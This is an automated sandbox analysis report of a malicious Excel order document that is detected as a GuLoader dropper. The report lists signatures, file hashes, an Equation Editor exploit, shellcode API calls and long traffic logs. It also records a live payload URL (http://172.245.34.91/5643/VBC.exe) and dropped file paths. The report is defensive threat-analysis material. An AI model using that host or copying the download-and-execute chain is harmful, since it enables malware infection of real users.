Windows Analysis Report
ACP-2210825ORDER.xls

Overview

General Information

Sample Name: ACP-2210825ORDER.xls
Analysis ID: 755822
MD5: 6c84860292e2a4d210396b7012be9b8a
SHA1: 7061c26320bf8836b55ac660860fa0937ae8f48e
SHA256: cadae8bf6a2bcf1ee630695a250a481d22d0b6d409832f60070b118dfc3bca75
Tags: xls
Infos:

Detection

GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Sigma detected: EQNEDT32.EXE connecting to internet
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Antivirus / Scanner detection for submitted sample
Sigma detected: File Dropped By EQNEDT32EXE
Antivirus detection for URL or domain
Antivirus detection for dropped file
Yara detected GuLoader
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Shellcode detected
Office equation editor drops PE file
Tries to detect virtualization through RDTSC time measurements
Office equation editor establishes network connection
Drops PE files to the user root directory
May sleep (evasive loops) to hinder dynamic analysis
Contains functionality to shutdown / reboot the system
Uses code obfuscation techniques (call, push, ret)
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Detected potential crypto function
Stores files to the Windows start menu directory
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
Downloads executable code via HTTP
Abnormal high CPU Usage
Potential document exploit detected (unknown TCP traffic)
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Contains functionality to download and execute PE files
Office Equation Editor has been started
Contains functionality to download and launch executables
Document contains embedded VBA macros
PE file contains more sections than normal
Drops PE files to the user directory
Potential document exploit detected (performs HTTP gets)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Creates a process in suspended mode (likely to inject code)
Contains functionality for read data from the clipboard

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: ACP-2210825ORDER.xls Virustotal: Detection: 26% Perma Link
Antivirus / Scanner detection for submitted sample
Source: ACP-2210825ORDER.xls Avira: detected
Antivirus detection for URL or domain
Source: http://172.245.34.91/5643/VBC.exe Avira URL Cloud: Label: malware
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\~DF688530565CAD41F4.TMP Avira: detection malicious, Label: EXP/CVE-2017-11882.Gen

Exploits
barindex
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe Jump to behavior
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 172.245.34.91 Port: 80 Jump to behavior
Office Equation Editor has been started
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 5_2_00406555 FindFirstFileW,FindClose, 5_2_00406555
Source: C:\Users\Public\vbc.exe Code function: 5_2_00405A03 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 5_2_00405A03
Source: C:\Users\Public\vbc.exe Code function: 5_2_0040287E FindFirstFileW, 5_2_0040287E

Software Vulnerabilities
barindex
Shellcode detected
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035406CF URLDownloadToFileW,ShellExecuteW,ExitProcess, 2_2_035406CF
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035406FD ShellExecuteW,ExitProcess, 2_2_035406FD
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03540660 LoadLibraryW,URLDownloadToFileW,ShellExecuteW,ExitProcess, 2_2_03540660
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035405D4 URLDownloadToFileW,ShellExecuteW,ExitProcess, 2_2_035405D4
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035405F0 URLDownloadToFileW,ShellExecuteW,ExitProcess, 2_2_035405F0
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0354067A URLDownloadToFileW,ShellExecuteW,ExitProcess, 2_2_0354067A
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035405BB ExitProcess, 2_2_035405BB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_03540722 ExitProcess, 2_2_03540722
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035406E8 ShellExecuteW,ExitProcess, 2_2_035406E8
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
